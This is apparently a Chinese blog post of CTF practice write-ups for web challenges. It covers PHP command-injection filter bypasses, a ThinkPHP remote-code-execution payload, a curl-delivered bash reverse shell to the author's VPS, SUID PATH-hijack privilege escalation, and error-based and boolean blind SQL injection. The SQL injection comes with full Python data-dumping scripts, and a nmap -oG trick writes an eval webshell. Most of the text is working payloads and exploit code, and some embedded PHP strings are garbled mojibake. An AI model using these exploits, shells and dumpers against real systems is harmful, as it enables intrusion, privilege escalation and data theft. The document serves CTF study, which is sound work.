CTF练习题

端午就该吃粽子

打开环境没有界面
直接目录扫描得到
login.php
访问得到
CTF练习题
发现存在文件包含
试试目录跳跃,发现被过滤掉了
那就直接php为协议读源码

http://www.bmzclub.cn:22020/login.php?zhongzi=php://filter/read=convert.base64-encode/resource=index.php

解码得到

<?php
    error_reporting(0);
    if (isset($_GET['url'])) {
      $ip=$_GET['url'];
      if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
          die("<script language='javascript' type='text/javascript'>
          alert('no no no!')
          window.location.href='index.php';</script>");
      }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
          die("<script language='javascript' type='text/javascript'>
          alert('no flag!')
          window.location.href='index.php';</script>");
      }
      $a = shell_exec("ping -c 4 ".$ip);
      echo $a;
    }
    ?>

有两个正则
windows.location.href="/url"

当前页面打开URL页面。

shell_exec

(PHP 4, PHP 5, PHP 7) shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

payload:http://www.bmzclub.cn:22020/index.php?url=127.0.0.1|c\a\t${IFS}/????

听说最近thinkphp很火?

打开环境 会发现进行自动跳转
我们先进public目录下的index.php的入口文件跳转到这
CTF练习题

然后直接进行thinkphp的url重写

https://serverName/index.php(入口文件)/模块/控制器/操作/参数/值…;

然后随便一个解释器和操作让它报错 好让我们拿到版本号

http://www.bmzclub.cn:22020/index.php/index/lindex/hello

CTF练习题
得到版本号,直接百度找利用payload

http://www.bmzclub.cn:22020/index.php?s=captcha (POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

WEB_penetration

打开环境

<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
                die('nonono');
            }else{
            exec($ip);
            }
            
        }
        else{
        die("long");
        }
    }
    
}

传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im
思路:过滤挺多,到目前可以看出curl没有过滤掉
所以直接反弹sell
自己挂个vps的主页为:

   bash -c "bash -i >& /dev/tcp/IP地址/8080 0>&1"

然后vps上监听:

nc -lvnp 8080

然后payload:

?ip=curl (10进制ip)|sh

反弹成功后会发现不是root权限
所以要进行越权
先找一下suid

find / -user root -perm -4000 -print 2>/dev/null

发现love里面有个ps命令
ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #设置可读可写可执行权限
$PATH                   #查看环境变量
export PATH=/tmp:$PATH   #将/tmp加入环境变量,并放在第一个位置

运行love,发现权限变成root了

然后读取flag就好了

cat /root/flag

[极客大挑战 2019]LoveSQL

在用户名有报错注入
爆库名

  1' and extractvalue(0,concat(0x7e,database()))#

返回结果

  XPATH syntax error: '~geek'

爆表名

 1' and extractvalue(0,concat(0x7e,(select group_concat(distinct table_name)from information_schema.tables where table_schema='geek')))#

返回结果

 XPATH syntax error: '~geekuser,l0ve1ysq1~'

爆字段

   1' and extractvalue(0,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1')))#

返回结果

 XPATH syntax error: '~id,username,password'

然后使用substr()截取字段内容,当截取到下标为225时,返回flag的一部分:

 1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#

返回结果

  XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{060'

同理得到flag

[CISCN2019 华北赛区]Hack World

传入id,有两种返回结果,1以及2。很容易的推测到可能是布尔盲注。
fuzz之后发现WAF了空格。使用括号可以绕过。

这里直接用了通杀语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)。
exp

  import requests
     
    string = "Hello, glzjin wants a girlfriend."
    url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
    flag = ""
     
    for i in range(50):
        for j in range(127):
            payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
            data = {'id': payload}
            files = []
            headers = {}
            response = requests.request("POST", url, headers=headers, data=data, files=files)
            print(j)
     #为了防止因网络原因而导致爆破中断丢失数据
            if response.text.find(string) != -1:
                flag += chr(j)
                print(flag)
                break

[WUSTCTF2020]颜值成绩查询

忘记了是哪位师傅的全能查表脚本了,直接保存一手终于用上了

# -*- coding:utf-8 -*-
import requests
import time

def ascii_str():  # 生成库名表名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可显示字符
        str_list.append(chr(i))
    # print('可显示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        db_payload = url + "/**/and/**/(length(database())=%d)--+" % num
        r = requests.get(db_payload)
        if r.status_code == 429:
            print("too fast")
            time.sleep(0.5)
        if str in r.text:
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db_name(db_length)  # 进行下一步,测试库名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            db_payload = url + "/**/and/**/(ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
            r = requests.get(db_payload)
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if str in r.text:
                db_name += j
                break
    print("[+]数据库名:%s\n" % db_name)
    tb_piece(db_name)  # 进行下一步,测试security数据库有几张表
    return db_name


def tb_piece(db_name):
    print("开始测试%s数据库有几张表........" % db_name)
    for i in range(100):  # 猜解库中有多少张表,合理范围即可
        tb_payload = url + "/**/and/**/%d=(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='%s')--+" % (
        i, db_name)
        r = requests.get(tb_payload)
        if r.status_code == 429:
            print("too fast")
            time.sleep(0.5)
        if str in r.text:
            tb_piece = i
            break
    print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
    tb_name(db_name, tb_piece)  # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名长度,合理范围即可
            tb_payload = url + "/**/and/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1)=%d--+" % (
            i, j)
            r = requests.get(tb_payload)
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if str in r.text:
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根据表名长度进行截取对比
                    for l in str_list:
                        tb_payload = url + "/**/and/**/(select/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1),%d,1)))=%d--+" % (
                        i, k, ord(l))
                        r = requests.get(tb_payload)
                        if r.status_code == 429:
                            print("too fast")
                            time.sleep(0.5)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
    print("[-]开始猜解每张表的字段数:.......")
    column_num_list = []
    for i in table_list:
        for j in range(30):  # 每张表的字段数量,合理范围即可
            column_payload = url + "/**/and/**/%d=(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s')--+" % (
            j, i)
            r = requests.get(column_payload)
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入这个列表当中
                print("[+]%s表\t%s个字段" % (i, column_num))
                break
    print("\n[+]表对应的字段数:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
    print("[-]开始猜解每张表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在这里代表每张表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j表示每个字段的长度
                column_name_length = url + "/**/and/**/%d=(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1)--+" % (
                j - 1, table_list[t], i)
                r = requests.get(column_name_length)
                if r.status_code == 429:
                    print("too fast")
                    time.sleep(0.5)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我们猜解的字符字典
                    column_payload = url + "/**/and/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1),%d,1))=%d--+" % (
                    table_list[t], i, j, ord(k))
                    r = requests.get(column_payload)
                    if r.status_code == 429:
                        print("too fast")
                        time.sleep(0.5)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    print(column_name_list)#输出所有表中的字段名到一个列表中
    dump_data(table_list, column_name_list, db_name)  # 进行最后一步,输出指定字段的数据


def dump_data(table_list, column_name_list, db_name):
    print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[0], column_name_list[0:2]))
    str_list = ascii_str()
    for i in column_name_list[0:2]:
        for j in range(101):  # j表示有多少条数据,合理范围即可
            data_num_payload = url + "/**/and/**/(select/**/count(%s)/**/from/**/%s.%s)=%d--+" % (i, db_name, table_list[0], j)
            r = requests.get(data_num_payload)
            if str in r.text:
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[0], i, data_num))
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(1,80):  # l表示每条数据的长度,合理范围即可
                data_len_payload = url + "/**/and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))--+" % (
                i, db_name, table_list[0], k, l)
                r = requests.get(data_len_payload)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in str_list:
                            data_payload = url + "/**/and/**/ord(mid((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d--+" % (
                            i, db_name, table_list[0], k, x, ord(y))
                            r = requests.get(data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print('[+]%s' % dump_data)  # 输出每条数据


if __name__ == '__main__':
    url = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum=1"  # 目标url
    str = "Hi admin"  # 布尔型盲注的true&false的判断因素
    db_length(url, str)  # 程序入口

盲注乱杀

i
mport requests
    import time
    
    url1 = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum="
    data = ""
    
    
    
    for i in range(1,500):
        for j in range(31,128):
            payload = 'if(ascii(substr((select(value)from(flag)),{},1))={},1,0)'.format(i,j)#字段值
    
            r = requests.get(url = url1 + payload )
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if r"Hi admin, your score is: 100" in r.text:
                data += chr(j)
                print(data)

[WUSTCTF2020]朴实无华

打开环境先访问index.php没有跳转,直接访问robotx.txt得到一个假的flag文件,
然后反反复复的找在网络头里面找到了一个提示
CTF练习题

然后访问得到源码

 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

然后这里有三个地方需要绕过

 if(intval($num) < 2020 && intval($num + 1) > 2021)

这个intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过
注意这个绕过方式只能在PHP5.5的版本进行复现
所以num=1e4

if ( m d 5 = = m d 5 ( md5==md5( md5==md5(md5))

第二关就是md5加密的值等于他本身
然后我之前的笔记直接拿到这个值md5=0e215962017

   if(!strstr($get_flag," ")){
            $get_flag = str_ireplace("cat", "wctf2020", $get_flag);

第三关就是这里的替换,过滤了cat和空格
直接命令执行绕过就行 tac 和 %09(php环境下)
先去ls一下 得到flag文件名 然后 读取就行

[BUUCTF 2018]Online Tool

   <?php
    
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    
    if(!isset($_GET['host'])) {
        highlight_file(__FILE__);
    } else {
        $host = $_GET['host'];
        $host = escapeshellarg($host);
        $host = escapeshellcmd($host);
        $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
        echo 'you are in sandbox '.$sandbox;
        @mkdir($sandbox);
        chdir($sandbox);
        echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

}

这道题重点

h o s t = e s c a p e s h e l l a r g ( host = escapeshellarg( host=escapeshellarg(host);
h o s t = e s c a p e s h e l l c m d ( host = escapeshellcmd( host=escapeshellcmd(host);

然后payload就是

  '<?php eval($_POST["a"]);?> -oG 1.php ' 

然后蚁剑连接就行了

[MRCTF2020]套娃

源码中得到

  <!--
    //1st
    $query = $_SERVER['QUERY_STRING'];
    
     if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
        die('Y0u are So cutE!');
    }
     if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
        echo "you are going to the next ~";
    }
    !-->

第一个if绕过很简单
我们这里用+绕过然后第二个正则用回车的url编码绕过就行

  b+u+p+t=23333%0a

然后得到jsfuck代码 解码叫我们post传参个那个一个随便一个值

   <?php 
    error_reporting(0); 
    include 'takeip.php';
    ini_set('open_basedir','.'); 
    include 'flag.php';
    
    if(isset($_POST['Merak'])){ 
        highlight_file(__FILE__); 
        die(); 
    } 
    
    
    function change($v){ 
        $v = base64_decode($v); 
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) + $i*2 ); 
        } 
        return $re; 
    }
    echo 'Local access only!'."<br/>";
    $ip = getIp();
    if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); }
    ?>  

这里有个加密

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

我们来逆一下

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);

然后利用data伪协议过第一个if
还要加上ip头混淆

X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1

所以payload:?2333=data:text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

上一篇:QTableWidget


下一篇:使用SLS告警为你的OSS保驾护航